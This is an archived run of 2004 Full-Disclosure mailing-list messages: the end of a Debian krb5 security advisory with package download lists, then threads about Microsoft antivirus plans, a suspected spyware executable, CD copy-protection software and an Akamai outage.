For the unstable distribution (sid), this problem has been fixed in
version 1.3.3-2.

We recommend that you update your krb5 package.

Upgrade Instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.

Debian GNU/Linux 3.0 alias woody
- --------------------------------

  Source archives:

    http://security.debian.org/pool/updates/main/k/krb5/krb5_1.2.4-5woody5.dsc
      Size/MD5 checksum: 750 88922316a5c4dc4f54eedfc8d1b2b21e
    http://security.debian.org/pool/updates/main/k/krb5/krb5_1.2.4-5woody5.diff.gz
      Size/MD5 checksum: 77079 1d99337aa5734ab47878c706c1cd16e7
    http://security.debian.org/pool/updates/main/k/krb5/krb5_1.2.4.orig.tar.gz
      Size/MD5 checksum: 5443051 663add9b5942be74a86fa860a3fa4167

  Architecture independent components:

    http://security.debian.org/pool/updates/main/k/krb5/krb5-doc_1.2.4-5woody5_all.deb
      Size/MD5 checksum: 514592 b608f9f7c599049696daa569a9a9c95b

  Alpha architecture:

    http://security.debian.org/pool/updates/main/k/krb5/krb5-admin-server_1.2.4-5woody5_alpha.deb
      Size/MD5 checksum: 253392 39dace8011ec70211cafe7482a464bef
    http://security.debian.org/pool/updates/main/k/krb5/krb5-clients_1.2.4-5woody5_alpha.deb
      Size/MD5 checksum: 217158 2eec6d86a559c9bf151b06bb55916347
    http://security.debian.org/pool/updates/main/k/krb5/krb5-ftpd_1.2.4-5woody5_alpha.deb
      Size/MD5 checksum: 62608 6ad21c730aa61227f335042c83057e35
    http://security.debian.org/pool/updates/main/k/krb5/krb5-kdc_1.2.4-5woody5_alpha.deb
      Size/MD5 checksum: 251804 32c06efac81f7f875e993e7f6343ee10
    http://security.debian.org/pool/updates/main/k/krb5/krb5-rsh-server_1.2.4-5woody5_alpha.deb
      Size/MD5 checksum: 76040 2e6e74208a9c7f401c23076d32e29d3d
    http://security.debian.org/pool/updates/main/k/krb5/krb5-telnetd_1.2.4-5woody5_alpha.deb
      Size/MD5 checksum: 58704 897ad549370be37234179d87084012e9
    http://security.debian.org/pool/updates/main/k/krb5/krb5-user_1.2.4-5woody5_alpha.deb
      Size/MD5 checksum: 207166 60ec8f0d5f60af7e03f18d68bdd1bfc3
    http://security.debian.org/pool/updates/main/k/krb5/libkadm55_1.2.4-5woody5_alpha.deb
      Size/MD5 checksum: 83328 49d5415c510a3b16b0c7e6831d6295d1
    http://security.debian.org/pool/updates/main/k/krb5/libkrb5-dev_1.2.4-5woody5_alpha.deb
      Size/MD5 checksum: 632940 b5feb5c5d4ffb4dcc36607fb6c094ddd
    http://security.debian.org/pool/updates/main/k/krb5/libkrb53_1.2.4-5woody5_alpha.deb
      Size/MD5 checksum: 367114 1126cddacb3eb385c363cc24bd8ccf30

  ARM architecture:

    http://security.debian.org/pool/updates/main/k/krb5/krb5-admin-server_1.2.4-5woody5_arm.deb
      Size/MD5 checksum: 196910 00f2c6dc3b783b559418d3acaae9ccc4
    http://security.debian.org/pool/updates/main/k/krb5/krb5-clients_1.2.4-5woody5_arm.deb
      Size/MD5 checksum: 160204 6fbdbe00198ac08c127da7b605cb4401
    http://security.debian.org/pool/updates/main/k/krb5/krb5-ftpd_1.2.4-5woody5_arm.deb
      Size/MD5 checksum: 48382 06c5be009cd9391342dfc97e18cc1c11
    http://security.debian.org/pool/updates/main/k/krb5/krb5-kdc_1.2.4-5woody5_arm.deb
      Size/MD5 checksum: 198234 7a6fc77bf7307de8f5cb7ab203586e94
    http://security.debian.org/pool/updates/main/k/krb5/krb5-rsh-server_1.2.4-5woody5_arm.deb
      Size/MD5 checksum: 63316 8e5b77aaefc5319b730b24ebd39d4c6d
    http://security.debian.org/pool/updates/main/k/krb5/krb5-telnetd_1.2.4-5woody5_arm.deb
      Size/MD5 checksum: 48952 1c46d9156b91cfbe3bf2a7b2406c4d19
    http://security.debian.org/pool/updates/main/k/krb5/krb5-user_1.2.4-5woody5_arm.deb
      Size/MD5 checksum: 165652 654f978cf8e21e1928b08ee344fda8da
    http://security.debian.org/pool/updates/main/k/krb5/libkadm55_1.2.4-5woody5_arm.deb
      Size/MD5 checksum: 73122 f5052a8743c4fd1434fba81040c39dd2
    http://security.debian.org/pool/updates/main/k/krb5/libkrb5-dev_1.2.4-5woody5_arm.deb
      Size/MD5 checksum: 492900 fce4b2e7bd8c66896bf181900fb61ec7
    http://security.debian.org/pool/updates/main/k/krb5/libkrb53_1.2.4-5woody5_arm.deb
      Size/MD5 checksum: 294728 f689f57b800b125f4ba3d3d5043dcb68

  Intel IA-32 architecture:

    http://security.debian.org/pool/updates/main/k/krb5/krb5-admin-server_1.2.4-5woody5_i386.deb
      Size/MD5 checksum: 178772 5088ddd2621dbab5c59dc5e249240a1b
    http://security.debian.org/pool/updates/main/k/krb5/krb5-clients_1.2.4-5woody5_i386.deb
      Size/MD5 checksum: 155952 07fce3180d9959b4dfee76c6c120b6c0
    http://security.debian.org/pool/updates/main/k/krb5/krb5-ftpd_1.2.4-5woody5_i386.deb
      Size/MD5 checksum: 45954 fe40c7fa5d4f67652b43df8e96ec3f17
    http://security.debian.org/pool/updates/main/k/krb5/krb5-kdc_1.2.4-5woody5_i386.deb
      Size/MD5 checksum: 178500 774028ad020dea596125afc6d52a7085
    http://security.debian.org/pool/updates/main/k/krb5/krb5-rsh-server_1.2.4-5woody5_i386.deb
      Size/MD5 checksum: 61142 6995fa078363df683f8f4bafab474733
    http://security.debian.org/pool/updates/main/k/krb5/krb5-telnetd_1.2.4-5woody5_i386.deb
      Size/MD5 checksum: 46264 d53bc6f536632e486599e65e9e36542e
    http://security.debian.org/pool/updates/main/k/krb5/krb5-user_1.2.4-5woody5_i386.deb
      Size/MD5 checksum: 154706 1f2eeeed38ab36e5f2f7a523736505bf
    http://security.debian.org/pool/updates/main/k/krb5/libkadm55_1.2.4-5woody5_i386.deb
      Size/MD5 checksum: 71530 a67b57f513523801f85c7b65f8963f8c
    http://security.debian.org/pool/updates/main/k/krb5/libkrb5-dev_1.2.4-5woody5_i386.deb
      Size/MD5 checksum: 433428 968fa83dd497f71dd640f8b4e6974375
    http://security.debian.org/pool/updates/main/k/krb5/libkrb53_1.2.4-5woody5_i386.deb
      Size/MD5 checksum: 293446 53eeba2cb4ff3b08f75c9f7d368ee843

  Intel IA-64 architecture:

    http://security.debian.org/pool/updates/main/k/krb5/krb5-admin-server_1.2.4-5woody5_ia64.deb
      Size/MD5 checksum: 321946 6ca872f52aedae772327b697dfde71b6
    http://security.debian.org/pool/updates/main/k/krb5/krb5-clients_1.2.4-5woody5_ia64.deb
      Size/MD5 checksum: 266092 f41935d16d8afb9a472a10784c3a7553
    http://security.debian.org/pool/updates/main/k/krb5/krb5-ftpd_1.2.4-5woody5_ia64.deb
      Size/MD5 checksum: 73348 0436c2b34fb854802246cc38b4a9a4c3
    http://security.debian.org/pool/updates/main/k/krb5/krb5-kdc_1.2.4-5woody5_ia64.deb
      Size/MD5 checksum: 321900 7d6ff9cb6b640a17a3dca04b641a879b
    http://security.debian.org/pool/updates/main/k/krb5/krb5-rsh-server_1.2.4-5woody5_ia64.deb
      Size/MD5 checksum: 91638 98299fc14a6c8011348a6d67219636b7
    http://security.debian.org/pool/updates/main/k/krb5/krb5-telnetd_1.2.4-5woody5_ia64.deb
      Size/MD5 checksum: 70292 81cc3db5ee795199744e3d991eff172d
    http://security.debian.org/pool/updates/main/k/krb5/krb5-user_1.2.4-5woody5_ia64.deb
      Size/MD5 checksum: 255894 bdd40f67173113249af37954a68925e6
    http://security.debian.org/pool/updates/main/k/krb5/libkadm55_1.2.4-5woody5_ia64.deb
      Size/MD5 checksum: 106954 c2fa05c6b6899f53c5c7efbdaac3f0e7
    http://security.debian.org/pool/updates/main/k/krb5/libkrb5-dev_1.2.4-5woody5_ia64.deb
      Size/MD5 checksum: 705264 eeb1f09bf20f6f336da6b4c65e982e45
    http://security.debian.org/pool/updates/main/k/krb5/libkrb53_1.2.4-5woody5_ia64.deb
      Size/MD5 checksum: 474326 834b32c98301ac138e00442262281f06

  HP Precision architecture:

    http://security.debian.org/pool/updates/main/k/krb5/krb5-admin-server_1.2.4-5woody5_hppa.deb
      Size/MD5 checksum: 214284 152da60f5b2d3aadf5d34a90758b52e0
    http://security.debian.org/pool/updates/main/k/krb5/krb5-clients_1.2.4-5woody5_hppa.deb
      Size/MD5 checksum: 189510 d19d97ccc0096676387ecb66292e98a1
    http://security.debian.org/pool/updates/main/k/krb5/krb5-ftpd_1.2.4-5woody5_hppa.deb
      Size/MD5 checksum: 53670 21e95a71a01d673273bed6c7e960f577
    http://security.debian.org/pool/updates/main/k/krb5/krb5-kdc_1.2.4-5woody5_hppa.deb
      Size/MD5 checksum: 213770 d04452049be7561471f2c0d7a839a74d
    http://security.debian.org/pool/updates/main/k/krb5/krb5-rsh-server_1.2.4-5woody5_hppa.deb
      Size/MD5 checksum: 68366 9757bc2a367432d6287709920b5996b0
    http://security.debian.org/pool/updates/main/k/krb5/krb5-telnetd_1.2.4-5woody5_hppa.deb
      Size/MD5 checksum: 55492 9bb3a916db98c1001c8330751e6d8505
    http://security.debian.org/pool/updates/main/k/krb5/krb5-user_1.2.4-5woody5_hppa.deb
      Size/MD5 checksum: 182678 c499c90b82536f7af26c79ccbdf7bb9f
    http://security.debian.org/pool/updates/main/k/krb5/libkadm55_1.2.4-5woody5_hppa.deb
      Size/MD5 checksum: 84616 c6163555a4f4e93fb56eb19afab8970d
    http://security.debian.org/pool/updates/main/k/krb5/libkrb5-dev_1.2.4-5woody5_hppa.deb
      Size/MD5 checksum: 557526 46404537730a0fcd7e66ba20221004ba
    http://security.debian.org/pool/updates/main/k/krb5/libkrb53_1.2.4-5woody5_hppa.deb
      Size/MD5 checksum: 361794 2247c6ec0ee126dce4280d317ea5fe4a

  Motorola 680x0 architecture:

    http://security.debian.org/pool/updates/main/k/krb5/krb5-admin-server_1.2.4-5woody5_m68k.deb
      Size/MD5 checksum: 163994 64e2e6b310f729a633868e0dcff92cc5
    http://security.debian.org/pool/updates/main/k/krb5/krb5-clients_1.2.4-5woody5_m68k.deb
      Size/MD5 checksum: 144502 6d9020501770a02d1b5edf62d7187e58
    http://security.debian.org/pool/updates/main/k/krb5/krb5-ftpd_1.2.4-5woody5_m68k.deb
      Size/MD5 checksum: 44132 d4af8c3649f93e71c44a1b373e0b80c3
    http://security.debian.org/pool/updates/main/k/krb5/krb5-kdc_1.2.4-5woody5_m68k.deb
      Size/MD5 checksum: 163732 c30ef8c45ef46b816b00336eed65a902
    http://security.debian.org/pool/updates/main/k/krb5/krb5-rsh-server_1.2.4-5woody5_m68k.deb
      Size/MD5 checksum: 56650 85224bbf810310a04e0f254dd0e13bb4
    http://security.debian.org/pool/updates/main/k/krb5/krb5-telnetd_1.2.4-5woody5_m68k.deb
      Size/MD5 checksum: 44432 001261117d31c9e610b49066044fd438
    http://security.debian.org/pool/updates/main/k/krb5/krb5-user_1.2.4-5woody5_m68k.deb
      Size/MD5 checksum: 145748 78d472cdafa35eb0bd7e4cb75b0623b0
    http://security.debian.org/pool/updates/main/k/krb5/libkadm55_1.2.4-5woody5_m68k.deb
      Size/MD5 checksum: 69570 127110f20badf11f06b1fd09911b4975
    http://security.debian.org/pool/updates/main/k/krb5/libkrb5-dev_1.2.4-5woody5_m68k.deb
      Size/MD5 checksum: 408486 0f5ecf090b19fee6c02d8ee4f6f6b701
    http://security.debian.org/pool/updates/main/k/krb5/libkrb53_1.2.4-5woody5_m68k.deb
      Size/MD5 checksum: 276790 ea346ea12c2f36680bbb73253e8a67ec

  Big endian MIPS architecture:

    http://security.debian.org/pool/updates/main/k/krb5/krb5-admin-server_1.2.4-5woody5_mips.deb
      Size/MD5 checksum: 206332 4f409bdcd19dbcd63a919158504330b6
    http://security.debian.org/pool/updates/main/k/krb5/krb5-clients_1.2.4-5woody5_mips.deb
      Size/MD5 checksum: 190876 da73ca10271b7ab992201fa1e8865e0b
    http://security.debian.org/pool/updates/main/k/krb5/krb5-ftpd_1.2.4-5woody5_mips.deb
      Size/MD5 checksum: 53108 e3697a84791b6c9c94dd2090d2393abc
    http://security.debian.org/pool/updates/main/k/krb5/krb5-kdc_1.2.4-5woody5_mips.deb
      Size/MD5 checksum: 209248 cf57ebb6de38746cb2554185a86db959
    http://security.debian.org/pool/updates/main/k/krb5/krb5-rsh-server_1.2.4-5woody5_mips.deb
      Size/MD5 checksum: 66188 c359609fa890dffdebb6bab042fa30f1
    http://security.debian.org/pool/updates/main/k/krb5/krb5-telnetd_1.2.4-5woody5_mips.deb
      Size/MD5 checksum: 54668 c95a9cc71275c1ffe74caed804e1e4e9
    http://security.debian.org/pool/updates/main/k/krb5/krb5-user_1.2.4-5woody5_mips.deb
      Size/MD5 checksum: 175086 f14ebe5e1493c320ca5eabf7661d83d3
    http://security.debian.org/pool/updates/main/k/krb5/libkadm55_1.2.4-5woody5_mips.deb
      Size/MD5 checksum: 71782 fcdf07c4a596cc203e69e1b3fa61a9b7
    http://security.debian.org/pool/updates/main/k/krb5/libkrb5-dev_1.2.4-5woody5_mips.deb
      Size/MD5 checksum: 540812 5fe78475feb1237afc53c9cfc6235ba0
    http://security.debian.org/pool/updates/main/k/krb5/libkrb53_1.2.4-5woody5_mips.deb
      Size/MD5 checksum: 308072 a073afa9cb406e7e9b87c411fe71e7cf

  Little endian MIPS architecture:

    http://security.debian.org/pool/updates/main/k/krb5/krb5-admin-server_1.2.4-5woody5_mipsel.deb
      Size/MD5 checksum: 210428 c57ae1baeb412e9e39bffaf3e6eafc19
    http://security.debian.org/pool/updates/main/k/krb5/krb5-clients_1.2.4-5woody5_mipsel.deb
      Size/MD5 checksum: 190584 d9637a661a7d76b4d2ac7ce2d2ebdfe9
    http://security.debian.org/pool/updates/main/k/krb5/krb5-ftpd_1.2.4-5woody5_mipsel.deb
      Size/MD5 checksum: 53304 b748e107e9ae4c5c6b43d71ff0f1c82c
    http://security.debian.org/pool/updates/main/k/krb5/krb5-kdc_1.2.4-5woody5_mipsel.deb
      Size/MD5 checksum: 212884 cf8b846996cc4dd9a563c164134dfcb9
    http://security.debian.org/pool/updates/main/k/krb5/krb5-rsh-server_1.2.4-5woody5_mipsel.deb
      Size/MD5 checksum: 66512 82eda58a3c77d89563d230c2f4a471f2
    http://security.debian.org/pool/updates/main/k/krb5/krb5-telnetd_1.2.4-5woody5_mipsel.deb
      Size/MD5 checksum: 54538 6a80de80f46ad13cb4545991776c98fd
    http://security.debian.org/pool/updates/main/k/krb5/krb5-user_1.2.4-5woody5_mipsel.deb
      Size/MD5 checksum: 176876 5bbd1da8fca246767e66d711630cb6b1
    http://security.debian.org/pool/updates/main/k/krb5/libkadm55_1.2.4-5woody5_mipsel.deb
      Size/MD5 checksum: 71580 11dac89ceff65cc4da44337b3027e7b8
    http://security.debian.org/pool/updates/main/k/krb5/libkrb5-dev_1.2.4-5woody5_mipsel.deb
      Size/MD5 checksum: 540372 72c5320274b851ea31d485e8c9d07116
    http://security.debian.org/pool/updates/main/k/krb5/libkrb53_1.2.4-5woody5_mipsel.deb
      Size/MD5 checksum: 306698 859c21ad06284485f0b7f1fead9da1b1

  PowerPC architecture:

    http://security.debian.org/pool/updates/main/k/krb5/krb5-admin-server_1.2.4-5woody5_powerpc.deb
      Size/MD5 checksum: 188054 363da150a42cee7367583fdfc90c6bf9
    http://security.debian.org/pool/updates/main/k/krb5/krb5-clients_1.2.4-5woody5_powerpc.deb
      Size/MD5 checksum: 163744 b395a1a41eff5721d6351518ea572610
    http://security.debian.org/pool/updates/main/k/krb5/krb5-ftpd_1.2.4-5woody5_powerpc.deb
      Size/MD5 checksum: 48964 b3896b0ac107e00a5ab3da1098c6a4cf
    http://security.debian.org/pool/updates/main/k/krb5/krb5-kdc_1.2.4-5woody5_powerpc.deb
      Size/MD5 checksum: 189144 fb6a9fcd6528aea01560c1ee4c94b2f1
    http://security.debian.org/pool/updates/main/k/krb5/krb5-rsh-server_1.2.4-5woody5_powerpc.deb
      Size/MD5 checksum: 62322 f872293b6c1b9ba9e2e035ace829507d
    http://security.debian.org/pool/updates/main/k/krb5/krb5-telnetd_1.2.4-5woody5_powerpc.deb
      Size/MD5 checksum: 48928 a76a17aef53d694b4c560118f388cb03
    http://security.debian.org/pool/updates/main/k/krb5/krb5-user_1.2.4-5woody5_powerpc.deb
      Size/MD5 checksum: 162398 cf177c01953e47e566de40280bd08b46
    http://security.debian.org/pool/updates/main/k/krb5/libkadm55_1.2.4-5woody5_powerpc.deb
      Size/MD5 checksum: 73534 3dff6d87ccbc7b2fd66d98d483c7bb00
    http://security.debian.org/pool/updates/main/k/krb5/libkrb5-dev_1.2.4-5woody5_powerpc.deb
      Size/MD5 checksum: 490456 aad2e60648fb2fc71c8146d3404985b1
    http://security.debian.org/pool/updates/main/k/krb5/libkrb53_1.2.4-5woody5_powerpc.deb
      Size/MD5 checksum: 303092 e2b1effe6d3946de748e35e386759ee4

  IBM S/390 architecture:

    http://security.debian.org/pool/updates/main/k/krb5/krb5-admin-server_1.2.4-5woody5_s390.deb
      Size/MD5 checksum: 188904 6fc5f0333f635e8f047e17085abf3270
    http://security.debian.org/pool/updates/main/k/krb5/krb5-clients_1.2.4-5woody5_s390.deb
      Size/MD5 checksum: 166020 35b74993495f29d9bfa72d4aa988971d
    http://security.debian.org/pool/updates/main/k/krb5/krb5-ftpd_1.2.4-5woody5_s390.deb
      Size/MD5 checksum: 49892 cec7b75924c666072d43be9a87ae3dc4
    http://security.debian.org/pool/updates/main/k/krb5/krb5-kdc_1.2.4-5woody5_s390.deb
      Size/MD5 checksum: 190238 f6bc7f11baea1fbee5c453877166f7ca
    http://security.debian.org/pool/updates/main/k/krb5/krb5-rsh-server_1.2.4-5woody5_s390.deb
      Size/MD5 checksum: 66682 081a0113d851220733e9f6d208280a90
    http://security.debian.org/pool/updates/main/k/krb5/krb5-telnetd_1.2.4-5woody5_s390.deb
      Size/MD5 checksum: 49868 b920cb787b60dbbcbb89e43d8b6a4702
    http://security.debian.org/pool/updates/main/k/krb5/krb5-user_1.2.4-5woody5_s390.deb
      Size/MD5 checksum: 164036 3416a67ab9ea1af7a39a8456f49c86df
    http://security.debian.org/pool/updates/main/k/krb5/libkadm55_1.2.4-5woody5_s390.deb
      Size/MD5 checksum: 76076 fceff5bf712f16a0ea788e5f74ba21a5
    http://security.debian.org/pool/updates/main/k/krb5/libkrb5-dev_1.2.4-5woody5_s390.deb
      Size/MD5 checksum: 452962 29b7633718ca8389ab0c2e011e5f9be7
    http://security.debian.org/pool/updates/main/k/krb5/libkrb53_1.2.4-5woody5_s390.deb
      Size/MD5 checksum: 319182 95ff63b6ea8ab3bf573c5efaea5334da

  Sun Sparc architecture:

    http://security.debian.org/pool/updates/main/k/krb5/krb5-admin-server_1.2.4-5woody5_sparc.deb
      Size/MD5 checksum: 183032 341a9fb2d89ea7d685e3b5a3365c59ce
    http://security.debian.org/pool/updates/main/k/krb5/krb5-clients_1.2.4-5woody5_sparc.deb
      Size/MD5 checksum: 172630 023d4ea8ff07488b730d956443159d9c
    http://security.debian.org/pool/updates/main/k/krb5/krb5-ftpd_1.2.4-5woody5_sparc.deb
      Size/MD5 checksum: 49378 c575434808db59920f3463adfa046cfd
    http://security.debian.org/pool/updates/main/k/krb5/krb5-kdc_1.2.4-5woody5_sparc.deb
      Size/MD5 checksum: 183982 0aa7443dd53e7f53cd1b872c6fcbabdb
    http://security.debian.org/pool/updates/main/k/krb5/krb5-rsh-server_1.2.4-5woody5_sparc.deb
      Size/MD5 checksum: 63998 cbcd6b93ae18a1383ce8f8e2e5868ba9
    http://security.debian.org/pool/updates/main/k/krb5/krb5-telnetd_1.2.4-5woody5_sparc.deb
      Size/MD5 checksum: 49336 71527610b9405d3edcf4c7e0fa192334
    http://security.debian.org/pool/updates/main/k/krb5/krb5-user_1.2.4-5woody5_sparc.deb
      Size/MD5 checksum: 159144 51fa34206e1a4de013fbb3991bdc33b2
    http://security.debian.org/pool/updates/main/k/krb5/libkadm55_1.2.4-5woody5_sparc.deb
      Size/MD5 checksum: 72884 a209925e53a9d35354cef146aa7cf392
    http://security.debian.org/pool/updates/main/k/krb5/libkrb5-dev_1.2.4-5woody5_sparc.deb
      Size/MD5 checksum: 462462 1035d9e5f0450c933cf79add5540a646
    http://security.debian.org/pool/updates/main/k/krb5/libkrb53_1.2.4-5woody5_sparc.deb
      Size/MD5 checksum: 300906 5333154983b684450cb5a4c702216542

  These files will probably be moved into the stable distribution on
  its next revision.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announcelists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFA0QJSArxCt0PiXR4RAn/1AJ44Z+oGkhWfO+M0Y15Wv/TBSdRYDACeIGLo
X2uJv+17KQFGR6KqZsSFse8=
=EXrB
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

From: Chris Cappuccio (chrisnmedia.net)
Date: Wed Jun 16 2004 - 21:56:52 CDT

I hate to say this, but I don't think Microsoft software could be any
worse than Symantec...

Andre Ludwig [andre.ludwiggmail.com] wrote:
> Think the mafia refers to this as a protection racket...
>
> man so much can be made of this its a techy comedy gold mine.
>
>
> "our software sucks so bad that the market for anti virus software for
> our platform is such a lucrative market that we cant stay out of it"
>
> Andre Ludwig CISSP
>
> On Wed, 16 Jun 2004 19:41:49 -0400, slacker <leetslackersofthome.net> wrote:
> >
> > <snip>
> > > SEATTLE (Reuters) - Microsoft Corp. (MSFT.O: Quote, Profile,
> > > Research) is still on track to offer an anti-virus product that will
> > > compete against similar software offered by Symantec Corp. (SYMC.O:
> > > Quote, Profile, Research) and Network Associates Inc. (NET.N: Quote,
> > > Profile, Research) , the world's largest software maker said late on
> >
> > Oh yeah, what's the average delay to release on exploit patches? What makes
> > me think that they are going to be that slow on releasing AV updates? =P
> >
> > slacker
> >
> >
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html

--
"When it absolutely, positively had to be there yesterday: Temporal Express"

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] MS Anti Virus?

From: Robert Michael Slade (rsladevcn.bc.ca)
Date: Wed Jun 16 2004 - 22:48:45 CDT

Ah, how soon they forget. (Kids these days ...)

Heck, *I* forget. Was it Windows 3.0 or 3.1? Anyway, DOS 6.

And lo, Microsoft went forth unto the land, and spake unto the makers of
AV, and did say, who will give unto us their product for cheap, that we
may call it by our name, and all geeks may use of it, and bless our name.
And the makers of AV muttered amungst themselves, and said, and if we do
this, what shall it profit us? And Microsoft spake unto them saying, are
ye not the makers of endless upgrades? And shall ye not sell these
upgrades unto those who have need of them since all will have thine
product even though it be called by our name?

And lo, Central Point did underbid all the others. And Microsoft did take
unto itself CPAV, and call it MSAV, and all those who purchased DOS 6 did
partake of it, and thought that it was good. But none knew that they
needed to upgrade it. And then came unto Microsoft and Central Point the
shame of the 14 bytes, and geeks despised them. And Central Point was
cast into Gehenna, or Symantec, which is the same thing.

rsladevcn.bc.ca sladevictoria.tc.ca rsladesun.soci.niu.edu
Find virus, book info http://victoria.tc.ca/techrev/rms.htm
        Mirrored at http://sun.soci.niu.edu/~rslade/rms.htm
Review mailing list: send mail to techbooks-subscribeegroups.com
Robert Slade's Guide to Computer Viruses, 0-387-94663-2 (800-SPRINGER)
Viruses Revealed 0072130903
Software Forensics (forthcoming)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] spamming trojan?

From: Aditya, ALD [ Aditya Lalit Deshmukh ] (aditya.deshmukhonline.gateway.technolabs.net)
Date: Thu Jun 17 2004 - 06:36:30 CDT

> > Looks the june4.exe is some kind of spyware. It reference to another
> > site "cjdra.com", possibly uploading user information there.
> By chance, do you know of a similar tools that runs under linux?

gdb or under softice under wine ?

-aditya

ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
éb½êÞvë"ž axZÞx÷«²‰Ú”Gb¶*'¡óŠ[kj¯ðÃæj)m­ªÿr‰ÿ

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] RE: [ GLSA 200406-10 ] Gallery: Privilege escalation vulnerability

From: Aditya, ALD [ Aditya Lalit Deshmukh ] (aditya.deshmukhonline.gateway.technolabs.net)
Date: Thu Jun 17 2004 - 06:36:13 CDT

please stop spamming the list with your advertisiement of partner programs

----- Original Message -----
From: "Bob Walton" <bobitsecsystems.com>
To: "'Thierry Carrez'" <koongentoo.org>; <gentoo-announcelists.gentoo.org>
Cc: <bugtraqsecurityfocus.com>; <full-disclosurelists.netsys.com>; <security-alertslinuxsecurity.com>
Sent: Wednesday, June 16, 2004 9:27 PM
Subject: [Full-Disclosure] RE: [ GLSA 200406-10 ] Gallery: Privilege escalation vulnerability

> You all might want to take a look at Americas best kept secret, security for
> wireless internet (we have been doing it for 5 years)would truly value your
> opinion. Bob Walton 877-326-5990 bobitsecsystems.com
>

ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
éb½êÞvë"ž axZÞx÷«²‰Ú”Gb¶*'¡óŠ[kj¯ðÃæj)m­ªÿr‰ÿ

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] spamming trojan?

From: Aditya, ALD [ Aditya Lalit Deshmukh ] (aditya.deshmukhonline.gateway.technolabs.net)
Date: Thu Jun 17 2004 - 06:36:18 CDT

> http://upx.sourceforge.net/#download

upx is a cross platfrom executable file compreession tool

>>By chance, do you know of a similar tools that runs under linux?

maybe u want a debugger and not a file compreession tool ?
-aditya

ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
éb½êÞvë"ž axZÞx÷«²‰Ú”Gb¶*'¡óŠ[kj¯ðÃæj)m­ªÿr‰ÿ

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] [Fwd: Caveat Lector: Beastie Boys Evil]

listnolog.org
Date: Thu Jun 17 2004 - 02:39:31 CDT

-------- Original Message --------
Subject: Caveat Lector: Beastie Boys Evil
Date: Wed, 16 Jun 2004 01:10:23 -0700
From: Dragos Ruiu <drkyx.net>
Organization: All Terrain Ninjas
To: bugtraqsecurityfocus.com

Well I truly regret actually purchasing a copy of the new Beastie Boys
album to support them.

It seems that Capitol Records has some sort of new copy protection
system, that automatically, silently, installs "helpful" copy protection
software on MacOS and Windows as soon as you insert the CD into default
systems.
I'm not sure exactly what it does yet, but I am sure regreting actually
purchasing said media now... they don't deserve my money if they choose
to pull stupid stunts like this. Installing software without your
permission sounds like viral malware behaviour to me. I certainly hope
the AV companies put signatures into their products for this crap.

They include some sort of uninstaller buried on there for Windows, but
I see no such thing for MacOS. If anyone has disassembled the
aforementioned malware already and can save us some time with
instructions on how to remove it... thanks in advance.

caveat emptor,
--dr

--
World Security Pros. Cutting Edge Training, Tools, and Techniques
Tokyo, Japan Nov 11-12 2004 http://pacsec.jp
pgpkey http://dragos.com/ kyxpgp

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Akamai

From: Niek Baakman (niekbaakmanhome.nl)
Date: Thu Jun 17 2004 - 03:18:11 CDT

Niek Baakman wrote:

> Hi list,
>
> akamai disappeared from the internet about an hour ago.
> (all their dns servers are dead, hence many companies that
> use akamai are unreachable: microsoft.com/liveupdate.symantec.com
> apple/some search engines)
>
> Does anyone know if it is security-related (ddos, something else).
>
> Regards,
>
> Niek

http://www.computerworld.com/securitytopics/security/story/0,10801,93875,00.html?SKC=security-93875

Regards,

Niek

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

From: Todd Burroughs (toddhostopia.com)
Date: Thu Jun 17 2004 - 04:04:16 CDT

They are planning to get into a market that gaurds against the failures
in their own product. I don't like this, as it seems that they are going
to be in a position to intentionally make holes that their "anti-virus"
software will fix. If we had a more competitive market in this type of
software there would be no market for AV software and the AV companies
would be making better operating systems. Remember, Microsoft is a
marketing company and they are very good at it and very powerful.

Educate your friends and family. Unfortunately, there isn't much choice
right now, but someone will do for Linux (or *BSD) what Apple has done.
If Apple was smart, they would make an OS for PCs. Maybe they will...

It's sad that we are wasting so much resources on what should be a
non-problem.

Todd Burroughs
---
The Internet has given us unprecedented opportunity to communicate and
share on a global scale without borders; fight to keep it that way.

On Wed, 16 Jun 2004, Chris Cappuccio wrote:

> I hate to say this, but I don't think Microsoft software could be any
> worse than Symantec...
>
> Andre Ludwig [andre.ludwiggmail.com] wrote:
> > Think the mafia refers to this as a protection racket...
